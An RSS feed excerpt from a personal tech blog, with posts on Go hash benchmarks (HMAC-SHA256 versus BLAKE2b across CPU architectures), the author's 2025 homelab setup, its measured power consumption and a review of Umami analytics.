<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>cpu: Apple M1 Max
</span></span><span style="display:flex;"><span>BenchmarkHashes/HMACSHA256-10         	   19536	     <span style="color:#ae81ff">59946</span> ns/op	     <span style="color:#ae81ff">512</span> B/op	       <span style="color:#ae81ff">6</span> allocs/op
</span></span><span style="display:flex;"><span>BenchmarkHashes/BLAKE2b-10            	    6452	    <span style="color:#ae81ff">190926</span> ns/op	     <span style="color:#ae81ff">416</span> B/op	       <span style="color:#ae81ff">2</span> allocs/op</span></span></code></pre></div>
<p>Hmmmm&hellip; This is even worse. Now, it could be that we&rsquo;re dealing with a non optimal implementation. SHA256 is implemented in the stdlib in Go and very likely well optimized, whereas the BLAKE2 implementation I&rsquo;m using comes from the <code>golang.org/x/crypto</code> package. Perhaps we can find a better one. The first search result recommends <code>github.com/minio/blake2b-simd</code> which has been archived since 2018. Not promising, but let&rsquo;s give it a shot.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">import</span> (
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">blakeMinio</span> <span style="color:#e6db74">&#34;github.com/minio/blake2b-simd&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">BLAKE2bMinio</span>(<span style="color:#a6e22e">token</span> []<span style="color:#66d9ef">byte</span>, <span style="color:#a6e22e">secretKey</span> []<span style="color:#66d9ef">byte</span>) []<span style="color:#66d9ef">byte</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">hasher</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">blakeMinio</span>.<span style="color:#a6e22e">NewMAC</span>(<span style="color:#ae81ff">32</span>, <span style="color:#a6e22e">secretKey</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">hasher</span>.<span style="color:#a6e22e">Write</span>(<span style="color:#a6e22e">token</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">hasher</span>.<span style="color:#a6e22e">Sum</span>(<span style="color:#66d9ef">nil</span>)
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
<p>These are the results with the original token.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>cpu: Apple M1 Max
</span></span><span style="display:flex;"><span>BenchmarkHashes/HMACSHA256-10         	 3622322	       316.7 ns/op	     <span style="color:#ae81ff">512</span> B/op	       <span style="color:#ae81ff">6</span> allocs/op
</span></span><span style="display:flex;"><span>BenchmarkHashes/BLAKE2b-10            	 2881012	       415.6 ns/op	     <span style="color:#ae81ff">416</span> B/op	       <span style="color:#ae81ff">2</span> allocs/op
</span></span><span style="display:flex;"><span>BenchmarkHashes/BLAKE2b-minio-10       	 2138151	       566.4 ns/op	     <span style="color:#ae81ff">480</span> B/op	       <span style="color:#ae81ff">2</span> allocs/op</span></span></code></pre></div>
<p>So this is even slower&hellip; I quickly glance over the codebase of <code>github.com/minio/blake2b-simd</code> and notice all the architecture specific files but there aren&rsquo;t any for ARM architecture. Let&rsquo;s try on a machine with an AMD64 processor.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>cpu: Intel<span style="color:#f92672">(</span>R<span style="color:#f92672">)</span> Core<span style="color:#f92672">(</span>TM<span style="color:#f92672">)</span> i5-7200U CPU @ 2.50GHz
</span></span><span style="display:flex;"><span>BenchmarkHashes/HMACSHA256-4         	  761613	      <span style="color:#ae81ff">1488</span> ns/op	     <span style="color:#ae81ff">512</span> B/op	       <span style="color:#ae81ff">6</span> allocs/op
</span></span><span style="display:flex;"><span>BenchmarkHashes/BLAKE2b-4            	 2287569	       566.9 ns/op	     <span style="color:#ae81ff">416</span> B/op	       <span style="color:#ae81ff">2</span> allocs/op
</span></span><span style="display:flex;"><span>BenchmarkHashes/BLAKE2b-minio-4      	 1541990	       765.4 ns/op	     <span style="color:#ae81ff">480</span> B/op	       <span style="color:#ae81ff">2</span> allocs/op</span></span></code></pre></div>
<p>Right, so it seems that the implementations I&rsquo;m using are only optimized for AMD64. Or are they? One final test, I spin up an ARM based VPS on Hetzner to test it out. Note, that since the benchmark was not able to determine the exact CPU model the CPU line was omitted.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>BenchmarkHashes/HMACSHA256-2         	 1000000	      <span style="color:#ae81ff">1007</span> ns/op	       <span style="color:#ae81ff">512</span> B/op	       <span style="color:#ae81ff">6</span> allocs/op
</span></span><span style="display:flex;"><span>BenchmarkHashes/BLAKE2b-2            	 1367085	       879.6 ns/op	       <span style="color:#ae81ff">416</span> B/op	       <span style="color:#ae81ff">2</span> allocs/op
</span></span><span style="display:flex;"><span>BenchmarkHashes/BLAKE2b-minio-2      	 1123965	      <span style="color:#ae81ff">1080</span> ns/op	       <span style="color:#ae81ff">480</span> B/op	       <span style="color:#ae81ff">2</span> allocs/op</span></span></code></pre></div>
<p>So with this, it seems that the issue only occurs on Apple Silicon processors. In the benchmarks with other processors, the BLAKE2b does win. I&rsquo;m not entirely sure what causes this as CPU architectures are not my strong suite. If you do - please let me know by posting a comment.</p>
]]></content:encoded>
        </item>
        <item>
            <title>State of my Homelab 2025</title>
            <link>https://dizzy.zone/2025/03/10/State-of-my-Homelab-2025/</link>
            <pubDate>Mon, 10 Mar 2025 18:48:21 +0200</pubDate>
            
            <guid>https://dizzy.zone/2025/03/10/State-of-my-Homelab-2025/</guid>
            <description><![CDATA[ <p>For many years now I&rsquo;ve had at least one machine at home which would work as a server to host some apps. In the last couple of years I&rsquo;ve been getting more into it which has led me to purchase additional hardware. I&rsquo;ve decided it would be nice to document my journey so I&rsquo;ll try to make a post like this - detailing the setup that I currently have with both the hardware and the software once a year.</p>]]></description>
            <content:encoded><![CDATA[ <p>For many years now I&rsquo;ve had at least one machine at home which would work as a server to host some apps. In the last couple of years I&rsquo;ve been getting more into it which has led me to purchase additional hardware. I&rsquo;ve decided it would be nice to document my journey so I&rsquo;ll try to make a post like this - detailing the setup that I currently have with both the hardware and the software once a year.</p>
<p>Since this is (almost) the first post on my homelab setup let me start with some background. I am a software developer who likes to dabble in infrastructure. I like hosting things that I use on my own servers. However, as much as I&rsquo;d like to run them on racks due to the electricity costs in Europe this is prohibitively expensive. What is more - this requires space, which I do not want to sacrifice at home. Therefore, my homelab is on the small side - both physically and from the resource perspective. I also tend to try not to spend too much on hardware so I end up running old and/or second hand hardware.</p>
<h2 id="hardware">Hardware</h2>
<h3 id="compute">Compute</h3>
<p>The homelab consists of 4 machines. These are:</p>
<p><strong>MSI Cubi 3 Silent NUC</strong></p>
<table>
  <thead>
      <tr>
          <th></th>
          <th></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>CPU</td>
          <td>Dual-core i5-7200U</td>
      </tr>
      <tr>
          <td>RAM</td>
          <td>2 × 16GB</td>
      </tr>
      <tr>
          <td>SSD</td>
          <td>240GB KINGSTON SA400S37240G</td>
      </tr>
  </tbody>
</table>
<p>This NUC has been running for close to 6 years now. I originally bought it in 2019 with 16GB of RAM, but since upgraded it to 32GB. It still has the original SSD in it and has run faultlessly.</p>
<p>I&rsquo;ve an <a href="https://dizzy.zone/2019/04/14/My-new-server-MSI-Cubi-3-Silent/" title="MSI Cubi 3 Silent">old blog post</a> about this machine specifically, if you&rsquo;re interested.</p>
<p>Currently, this machine acts as k3s server.</p>
<p><strong>2x Lenovo ThinkCentre M910 Tiny</strong></p>
<table>
  <thead>
      <tr>
          <th></th>
          <th></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>CPU</td>
          <td>Quad-core i5-6500T</td>
      </tr>
      <tr>
          <td>RAM</td>
          <td>2 × 8GB</td>
      </tr>
      <tr>
          <td>SSD</td>
          <td>Apacer AS350 256GB</td>
      </tr>
  </tbody>
</table>
<p>These I bought post lease for around 130 Euros each in 2023. I&rsquo;ve no clue how much use they saw before becoming part of my homelab, but they have been running flawlessly for the last two years here. These things are tiny and powerful. They are also quiet. This was very important when I was living in an apartment. If I ever need to expand my homelab again, I&rsquo;m sure to be looking for more post lease ThinkCentres.</p>
<p>These machines are the agents on my k3s cluster.</p>
<p><strong>Mostly second-hand NAS</strong></p>
<table>
  <thead>
      <tr>
          <th></th>
          <th></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>CPU</td>
          <td>Quad-core i5-4590T</td>
      </tr>
      <tr>
          <td>RAM</td>
          <td>2 × 8GB</td>
      </tr>
      <tr>
          <td>Motherboard</td>
          <td>MSI H81I-S01</td>
      </tr>
      <tr>
          <td>PSU</td>
          <td>Silverstone ST30SF 300W</td>
      </tr>
      <tr>
          <td>Boot Drive</td>
          <td>A random 120GB SSD</td>
      </tr>
      <tr>
          <td>Storage</td>
          <td>4 × 2TB SSD (Mixed: Samsung EVO 870 &amp; Crucial MX500)</td>
      </tr>
      <tr>
          <td>SATA Expansion</td>
          <td>4-port PCIe card</td>
      </tr>
      <tr>
          <td>Case</td>
          <td>Jonsbo N2</td>
      </tr>
  </tbody>
</table>
<p>Originally assembled at the end of 2023. The new parts on the NAS are the case and the storage drives. The rest of the components I scavenged off of local bulletin boards &amp; local recycling companies working with electronic waste. The whole system(minus the storage) set me back around 250 Euros, with the case being half that. I would have gone for a bigger case(a used one) but living in an apartment space was at a premium and I could not find anything second-hand that would fit the specific place I had in mind for this machine. I would also have gone for HDDs were it not for the noise.</p>
<p>This machine now runs TrueNAS SCALE and serves as durable storage for the k3s cluster.</p>
<h3 id="networking">Networking</h3>
<p>I currently live in a location where no wired internet is available. Therefore, I&rsquo;ve a 4/5G CPE (H352-381) providing the main connectivity. Since the quality of the internet depends heavily on the load of the nearby cellular towers, I see quite dramatic slowdowns during busy hours, such as Sunday evenings. On working days, I&rsquo;ll get 200-300Mbps down, 50mbps up. On weekends and busy evenings this can drop down to 50 down, 10 up.</p>
<p>Knowing that wireless internet can be a bit of pain, I&rsquo;ve opted to for a router with dual WAN support. I went for TP-Link&rsquo;s ER605. The plan is to get a starlink at some point and plug that in.</p>
<p>From there, I&rsquo;ve 2x TP-Link Deco XE75 wireless access points - one per floor of the house. These have far exceeded my expectations. They provide excellent coverage even in a concrete house and far beyond it.</p>
<p>There are also a couple of unmanaged switches somewhere along the way here as well.</p>
<h3 id="auxiliary-devices">Auxiliary devices</h3>
<p>I also own a few shelly smart plugs, those are mostly used for measuring the power consumption of the homelab and for whenever I&rsquo;m curious about a random device&rsquo;s power consumption. Besides that, I have 2x Shelly H&amp;T Gen 3 humidity and temperature sensors for monitoring these around the house.</p>
<h3 id="power-consumption">Power consumption</h3>
<p>Over the years, I&rsquo;ve grown quite conscious about how much electricity the devices around the house use. When choosing the hardware I always try to consider energy consumption, to a reasonable degree that is. The homelab uses approximately 49 watts of power in total with the usual load it&rsquo;s seeing. The NAS is consuming ~22w of that, the Lenovo ThinkCentres take around ~8W each and the Cubi draws ~10W. At the current electricity prices here this comes to right around 7.5 euros a month.</p>
<p>I&rsquo;ve written in more detail about the power consumption of these machines in <a href="https://dizzy.zone/2025/03/01/My-homelabs-power-consumption/" title="My homelabs power consumption">my previous blog post</a> if you&rsquo;re interested.</p>
<h3 id="the-rack">The &ldquo;rack&rdquo;</h3>
<p>The homelab neatly fits in a custom built rack with NAS sitting on the bottom shelf, and compute units above that. There&rsquo;s a power strip attached to the side of it, as well as a small switch. Each of the machines is plugged into a shelly smart plug, which continuously emits updates of the usage to an MQTT server inside the k3s cluster. The rack sits in the utility room of my house. Here&rsquo;s what it looks like:</p>















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2025/03/10/State-of-my-Homelab-2025/rack.jpg" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2025/03/10/State-of-my-Homelab-2025/rack_hu_6bd01c13393cf08.jpg 500w,
  /2025/03/10/State-of-my-Homelab-2025/rack_hu_5e47fceb7ab693a9.jpg 800w,
  /2025/03/10/State-of-my-Homelab-2025/rack_hu_c1c770d604cfa0c0.jpg 1200w,
  /2025/03/10/State-of-my-Homelab-2025/rack_hu_c973d9948cde9533.jpg 1500w'
  src="https://dizzy.zone/2025/03/10/State-of-my-Homelab-2025/rack_hu_c1c770d604cfa0c0.jpg" 
  alt="The custom rack with hardware on it">
</a>
</div>
<p>The idea here is to put a monitor on top in the future, as well as a keyboard to allow for easy access if the servers would start acting up. This, however, is still in the works. I&rsquo;ve purposefully left some space to be able to shove more one litre computers if needed.</p>
<h2 id="software">Software</h2>
<h3 id="the-nas">The NAS</h3>
<p>The NAS machine runs <a href="https://www.truenas.com/truenas-scale/">TrueNAS Scale</a>. It has a single 4-wide RAIDZ2. 2TB drives each give me a usable capacity of 3.4TB. While this might not sound like a lot, I don&rsquo;t really store much media here. I store data for applications that I run in k8s and in my case these are usually tiny. I expose the dataset as an SMB share.</p>
<p>The only additional application I end up running on the NAS is <a href="https://www.netdata.cloud/">netdata</a> for metric collection. This netdata instance only collects the metrics and forwards the data to a netdata parent running on the k3s cluster. <a href="https://dizzy.zone/2024/01/20/Streaming-Netdata-metrics-from-TrueNAS-SCALE/" title="Netdata truenas streaming">I&rsquo;ve written a blog post on how to do that previously</a>.</p>
<p>Periodically, a job on the k3s cluster will backup the important bits from NAS into an off-site s3 bucket. I use <a href="https://kopia.io/">kopia</a> for backups.</p>
<h3 id="the-k3s-cluster">The k3s cluster</h3>
<p>The cluster consists of a single k3s server and two agents. With the exception of my NAS, all the other hosts run <a href="https://www.debian.org/">debian</a>. On top of that, I have <a href="https://k3s.io/">k3s</a> installed. From there, I use <a href="https://helm.sh/">helm</a> with the <a href="https://github.com/jkroepke/helm-secrets">helm secrets plugin</a> to deploy a whole bunch of things on the kubernetes cluster. The helm charts are stored in a private git repo on github.</p>
<p>Some of the first helm charts I installed on the cluster are the <a href="https://github.com/kubernetes-csi/csi-driver-smb">kubernetes csi driver</a> to access the SMB share on the NAS and <a href="https://metallb.io/">MetalLB</a> for any services that I need exposed on the local network. I also deploy a <a href="https://www.postgresql.org/">PostgreSQL</a> instance to serve as my main database.</p>
<p>For each of the domains I own and use (including the one you&rsquo;re currently on) I deploy three things - a <a href="https://github.com/cloudflare/cloudflared">cloudflared</a> instance for the cloudflare tunnel which forwards traffic to an <a href="https://www.f5.com/go/product/welcome-to-nginx">nginx</a> instance. This then forwards requests further to either a specific kubernetes service or <a href="https://www.authelia.com/">authelia</a> for authentication.</p>
<p>For monitoring I use Netdata. I use their helm chart in the k3s cluster, with a single parent and children running on each node. It will automatically pick up prometheus metrics from pods with the appropriate annotations present.</p>
<h3 id="the-actual-applications">The actual applications</h3>
<p>I think it&rsquo;s time to move away from the infrastructure and talk about the actual things I have running there:</p>
<ul>
<li><a href="https://www.audiobookshelf.org/">Audiobookshelf</a> - I don&rsquo;t listen to ebooks that often, but when I do I prefer the self hosted option.</li>
<li><a href="https://github.com/gchq/CyberChef">Cyberchef</a> - comes in handy for the work that I do.</li>
<li><a href="https://excalidraw.com/">Excalidraw</a> - extensively used for work, self hosting gives me peace of mind.</li>
<li><a href="https://goharbor.io/">Harbor</a> - all the applications I build immediately get Dockerized, and CI builds &amp; pushes them here.</li>
<li><a href="https://github.com/jellyfin/jellyfin">Jellyfin</a> - this one does not need an introduction, I think.</li>
<li><a href="https://miniflux.app/">Miniflux</a> - let&rsquo;s me keep up to date with a few blogs I like to read.</li>
<li><a href="https://mouthful.dizzy.zone/">Mouthful</a> - is how I handle comments on this blog.</li>
<li><a href="https://owntracks.org/">Owntracks</a> - a work in progress, helps with home automation.</li>
<li><a href="https://github.com/paperless-ngx/paperless-ngx">Paperless-ngx</a> - I&rsquo;d say this is my second most popular app on my homelab. An absolute lifesaver. I&rsquo;ve moved away from paper documentation completely thanks to it.</li>
<li><a href="https://github.com/emqx/emqx">EMQX</a> - my MQTT broker of choice. Shellies report their energy consumption here, owntracks uses it as well. I also have some applications hooking into it and emitting events.</li>
<li><a href="https://github.com/pi-hole/pi-hole">Pi-hole</a> - helps with ad blocking.</li>
<li><a href="https://github.com/TandoorRecipes/recipes">Tandoor</a> - a library of food recipes I enjoy.</li>
<li><a href="https://github.com/actions/actions-runner-controller">Github action runner controller</a> - allows the cluster to run github actions CI workloads on my own servers.</li>
<li><a href="https://atlas.ripe.net/">Ripe atlas probe</a> - my meager contribution to the RIPE Atlas project. At some point I might even find a way to spend all the credits I&rsquo;ve accumulated&hellip;</li>
<li><a href="https://silverbullet.md/">Silverbullet</a> - probably the app that I use the most out of all. I&rsquo;ve tried many different notes apps, for some reason this one stuck.</li>
<li><a href="https://github.com/wasi-master/13ft">13ft</a> - for those few times a year when I actually have to read the Medium article.</li>
<li><a href="https://github.com/wasi-master/13ft">Unbound</a> - self hosted DNS resolver, my pi-hole uses it, and my network uses pi-hole as the dns server.</li>
<li><a href="https://umami.is/">Umami</a> - self hosted, privacy respecting analytics. There are many like it, but this one uses few resources and is generally pretty good. See my <a href="https://dizzy.zone/2025/02/18/On-Umami/" title="On umami">full post</a> on it if you&rsquo;d like.</li>
<li><a href="https://github.com/dani-garcia/vaultwarden">Vaultwarden</a> - password manager of choice.</li>
<li><a href="https://yopass.se/">Yopass</a> - for when I need to share a secret.</li>
<li>Custom prometheus exporters. These export things such as shelly statuses, power consumption and various other metrics.</li>
<li>A few discord bots I&rsquo;ve written.</li>
<li>A few web apps &amp; internal APIs I&rsquo;ve developed over the years, like the <a href="https://dizzy.zone/2024/12/02/ML-for-related-posts-on-Hugo/" title="MSI Cubi 3 Silent">embedding api for post recommendations</a></li>
<li>And a few cronjobs to back up all the things that need backing up.</li>
</ul>
<p>The whole cluster uses around 1.1 cores under normal load and around 19GB of RAM.</p>
<h2 id="the-future">The future</h2>
<p>While I&rsquo;m generally happy with my homelab, there are a few points that I got wrong or would like to improve.</p>
<p>First, I&rsquo;d like to run postgres on a completely separate host, or more ideally on two separate hosts with automatic failover. For this, I&rsquo;d like to use the two M910 Tiny&rsquo;s I already have. This would require me to remove them from the k3s cluster. I&rsquo;d like to replace them 2 small machines, possibly with the Intel&rsquo;s N series processors. However, I&rsquo;ve struggled to find second hand options for them. I&rsquo;d use them as k3s servers with the whole cluster consisting of 3 servers. This would allow a failure of a single node with no downtime.</p>
<p>Second, I wish to switch my NAS to an HDD array for extra storage. This will come in handy for future projects. I would also like to move away from SMB to NFS shares, as I&rsquo;d expect those to play nicer with linux and mac machines at home. I chose SMB for the theoretical use-case of having a windows machine at home, but I&rsquo;ve never gotten one.</p>
<p>Third, I intend to move away from cloudflare tunnels. I&rsquo;ll use a VPS and some self hosted tunnel alternative, I&rsquo;m yet to decide which one. I&rsquo;ll need to write an ansible playbook to set the server up to my liking so that I can freely move between VPS providers if/when needed.</p>
<p>Fourth, there&rsquo;s a few applications that are on my to self-host list:</p>
<ul>
<li><a href="https://changedetection.io/">Changedetection</a> for bargain hunting.</li>
<li><a href="https://github.com/blakeblackshear/frigate">Frigate</a> to replace the dedicated NVR I currently have running at home.</li>
<li>A dashboard for the entirety of my home. Ideally it would have links to all the listed applications and allow for custom pages to help with home automation.</li>
</ul>
<p>Fifth, integrate all the utility appliances at home, such as the recuperator and the heat pump with the dashboard mentioned above to allow for easy control in a single panel, instead of having to use multiple applications.</p>
<p>Sixth, add a UPS to the homelab. This is a nice to have and might not happen any time soon but it&rsquo;s something I could grab if the right deal comes along.</p>
<p>Seventh, add an outdoor thermometer or a whole weather station to the setup and a prometheus exporter for it so it can be visualized in Netdata.</p>
<p>Eight, actually mount a monitor on top of the rack. A keyboard would help there as well in case I need to directly hook into one of the machines.</p>
<p>And probably a few other things as well&hellip;</p>
<p>That&rsquo;s what my homelab setup looks like. If you made it this far - thank you for reading. If you have any questions, do drop a comment below!</p>
]]></content:encoded>
        </item>
        <item>
            <title>My homelabs power consumption</title>
            <link>https://dizzy.zone/2025/03/01/My-homelabs-power-consumption/</link>
            <pubDate>Sat, 01 Mar 2025 15:00:55 +0200</pubDate>
            
            <guid>https://dizzy.zone/2025/03/01/My-homelabs-power-consumption/</guid>
            <description><![CDATA[ <p>My homelab consists of 4 machines currently. When choosing them I tried to be energy conscious - using hardware which would not consume too much electrical power, while still trying to maintain the up-front cost low. These are mostly older systems and I was unable to find decent power consumption numbers for them.</p>
<h2 id="the-specs">The specs</h2>
<p>1x <em>MSI Cubi 3 Silent NUC</em></p>
<table>
  <thead>
      <tr>
          <th></th>
          <th></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><strong>CPU</strong></td>
          <td>Dual-core i5-7200U</td>
      </tr>
      <tr>
          <td><strong>RAM</strong></td>
          <td>2×16GB</td>
      </tr>
  </tbody>
</table>
<p>2x <em>Lenovo ThinkCentre M910 Tiny</em></p>]]></description>
            <content:encoded><![CDATA[ <p>My homelab consists of 4 machines currently. When choosing them I tried to be energy conscious - using hardware which would not consume too much electrical power, while still trying to maintain the up-front cost low. These are mostly older systems and I was unable to find decent power consumption numbers for them.</p>
<h2 id="the-specs">The specs</h2>
<p>1x <em>MSI Cubi 3 Silent NUC</em></p>
<table>
  <thead>
      <tr>
          <th></th>
          <th></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><strong>CPU</strong></td>
          <td>Dual-core i5-7200U</td>
      </tr>
      <tr>
          <td><strong>RAM</strong></td>
          <td>2×16GB</td>
      </tr>
  </tbody>
</table>
<p>2x <em>Lenovo ThinkCentre M910 Tiny</em></p>
<table>
  <thead>
      <tr>
          <th></th>
          <th></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><strong>CPU</strong></td>
          <td>Quad-core i5-6500T</td>
      </tr>
      <tr>
          <td><strong>RAM</strong></td>
          <td>2×8GB</td>
      </tr>
  </tbody>
</table>
<p>1x <em>Mostly second-hand NAS</em></p>
<table>
  <thead>
      <tr>
          <th></th>
          <th></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><strong>CPU</strong></td>
          <td>Quad-core i5-4590T</td>
      </tr>
      <tr>
          <td><strong>RAM</strong></td>
          <td>2×8GB</td>
      </tr>
      <tr>
          <td><strong>Motherboard</strong></td>
          <td>MSI H81I-S01</td>
      </tr>
      <tr>
          <td><strong>PSU</strong></td>
          <td>Silverstone ST30SF 300W</td>
      </tr>
      <tr>
          <td><strong>Storage</strong></td>
          <td>4x2TB SSD - mixed, Samsung EVO 870 &amp; Crucial MX500</td>
      </tr>
  </tbody>
</table>
<h2 id="the-setup">The setup</h2>
<p>Since these are all currently plugged into shelly smart plugs, I&rsquo;m able to tell the power usage of each of them separately. The plug measures the power consumption and reports that to EMQX via MQTT. From there, I have a custom prometheus collector implemented. It subscribes to the relevant topics on EMQX, and exposes a <code>/metrics</code> endpoint in the prometheus exposition format. This is periodically crawled by netdata, which is running in the same cluster.</p>
<p>I created a dashboard in netdata which allows me to visualize the CPU usage of each machine and its power consumption. It looks something like this:</p>















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2025/03/01/My-homelabs-power-consumption/dashboard.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2025/03/01/My-homelabs-power-consumption/dashboard_hu_5ccb831ad4827c26.png 500w,
  /2025/03/01/My-homelabs-power-consumption/dashboard_hu_62391f1e361baa0.png 800w,
  /2025/03/01/My-homelabs-power-consumption/dashboard_hu_4efb9687745f845d.png 1200w,
  /2025/03/01/My-homelabs-power-consumption/dashboard_hu_8807802a32dc17d5.png 1500w'
  src="https://dizzy.zone/2025/03/01/My-homelabs-power-consumption/dashboard_hu_4efb9687745f845d.png" 
  alt="The power consumption dashboard">
</a>
</div>
<p>I&rsquo;m not going to measure the consumption of the systems when they are idle as there are quite a few things running on my cluster and I wouldn&rsquo;t like to interrupt them. However, I&rsquo;ll show the current CPU usage and the power draw from the plug. The CPU usage is what I&rsquo;d call steady in my homelab, it rarely spikes and seems to be pretty consistent across the board. We&rsquo;ll call this the baseline.</p>
<p>I&rsquo;ll then do a 10 minute stress test using the <code>stress</code> tool on each machine, to see what the power consumption looks like at that moment.</p>
<h3 id="the-results">The results</h3>
<p>Note that the CPU % shows the % of cpu used across all cores - 100% indicates that all cores are working at their max. The cost estimates assume a price of 0,211479 €/kWh - coming directly from my last bill and I&rsquo;ll call 30 days a month.</p>
<p>Here are the results for the baseline:</p>
<table>
  <thead>
      <tr>
          <th>System</th>
          <th>CPU %</th>
          <th>Power Draw</th>
          <th>Estimated Monthly Cost</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Cubi</td>
          <td>27%</td>
          <td>12.4W</td>
          <td>€1.89</td>
      </tr>
      <tr>
          <td>Lenovo M910 Tiny</td>
          <td>8%</td>
          <td>7.3W</td>
          <td>€1.11</td>
      </tr>
      <tr>
          <td>NAS</td>
          <td>4.5%</td>
          <td>21W</td>
          <td>€3.20</td>
      </tr>
  </tbody>
</table>
<p>And for the full load test:</p>
<table>
  <thead>
      <tr>
          <th>System</th>
          <th>CPU %</th>
          <th>Power Draw</th>
          <th>Estimated Monthly Cost</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Cubi</td>
          <td>100%</td>
          <td>17.7W</td>
          <td>€2.70</td>
      </tr>
      <tr>
          <td>Lenovo M910 Tiny</td>
          <td>100%</td>
          <td>29.4W</td>
          <td>€4.48</td>
      </tr>
      <tr>
          <td>NAS</td>
          <td>100%</td>
          <td>39.9W</td>
          <td>€6.08</td>
      </tr>
  </tbody>
</table>
<p>Thanks for reading!</p>
]]></content:encoded>
        </item>
        <item>
            <title>On Umami</title>
            <link>https://dizzy.zone/2025/02/18/On-Umami/</link>
            <pubDate>Tue, 18 Feb 2025 21:30:23 +0200</pubDate>
            
            <guid>https://dizzy.zone/2025/02/18/On-Umami/</guid>
            <description><![CDATA[ <p>I&rsquo;ve been using <a href="https://umami.is/">Umami</a> analytics on this blog for quite some time now. I self host an instance on my homelab. I spent a bit of time researching self-hosted analytics and generally they had a few issues.</p>
<p>First, I&rsquo;d like the analytics platform to be privacy focused. No cookies, GDPR compliant, no PII. Umami checks this mark.</p>
<p>Second, many of the alternatives had quite a bit of hardware resource overhead once hosted. They would either consume a ton of memory, the cpu usage would be high or require me to host something like <a href="https://clickhouse.com/">ClickHouse</a> to run them. Since this blog is not the new york times I feel like hosting a specific database for it would be overkill. My homelab is rather small, so keeping things minimal is how I manage to stretch it. Umami consumes around 1% of a CPU core and ~240MiB of RAM on my homelab.</p>]]></description>
            <content:encoded><![CDATA[ <p>I&rsquo;ve been using <a href="https://umami.is/">Umami</a> analytics on this blog for quite some time now. I self host an instance on my homelab. I spent a bit of time researching self-hosted analytics and generally they had a few issues.</p>
<p>First, I&rsquo;d like the analytics platform to be privacy focused. No cookies, GDPR compliant, no PII. Umami checks this mark.</p>
<p>Second, many of the alternatives had quite a bit of hardware resource overhead once hosted. They would either consume a ton of memory, the cpu usage would be high or require me to host something like <a href="https://clickhouse.com/">ClickHouse</a> to run them. Since this blog is not the new york times I feel like hosting a specific database for it would be overkill. My homelab is rather small, so keeping things minimal is how I manage to stretch it. Umami consumes around 1% of a CPU core and ~240MiB of RAM on my homelab.</p>
<p>Third, postgres as the datastore. Postgres is my go to database, and I host tons of small tools that use it as the backend. I like having a single instance that can then be easily backed up &amp; restored, without having to resort to a ton of different databases. Therefore, any analytics tool would have to use it.</p>
<p>Fourth, the tracking script should be minimal in size, not to affect load times too badly. The blog itself is pretty lightweight, so any tracking script bloat would defeat that. The Umami script has a content lenght of 1482 bytes once gzipped, not too shabby.</p>
<p>Generally, I&rsquo;ve been happy with the choice. However, there is one thing in Umami that annoys me more than it probably should: the visit timer. Apparently, the visit time is only updated once a user navigates to another page on the blog. If they simply leave, there&rsquo;s no visit duration stored whatsoever. This makes the visit time tracker completely useless. <a href="https://github.com/umami-software/umami/issues/570">I&rsquo;m not the first one to notice this</a> but the issue has since been moved to a <a href="https://github.com/umami-software/umami/discussions/1816">discussion</a> which has seen no progress.</p>
<p>Good news is there&rsquo;s a few things one could do - perhaps add a custom event to track this? Or fork Umami, since it&rsquo;s open source and fix it. Both of these fall strictly into my &ldquo;can&rsquo;t be arsed to do&rdquo; category, so I guess it&rsquo;s not <em>that</em> important.</p>
<p>Thanks for reading! Perhaps there are other analytics tools that tick the boxes above? Let me know in the comments below.</p>
]]></content:encoded>
        </item>
        <item>
            <title>ML for related posts on Hugo</title>
            <link>https://dizzy.zone/2024/12/02/ML-for-related-posts-on-Hugo/</link>
            <pubDate>Mon, 02 Dec 2024 13:46:55 +0200</pubDate>
            
            <guid>https://dizzy.zone/2024/12/02/ML-for-related-posts-on-Hugo/</guid>
            <description><![CDATA[ <p>After reading the <a href="https://technicalwriting.dev/data/embeddings.html">technicalwriting.dev post on embeddings</a> I thought to myself - this seems like something that I can implement quite quickly and would serve as a good starting point for some hands on experience with machine learning. I want to start small, so something as simple as filling the related posts section of this blog seems like an ideal candidate to get my hands dirty.</p>
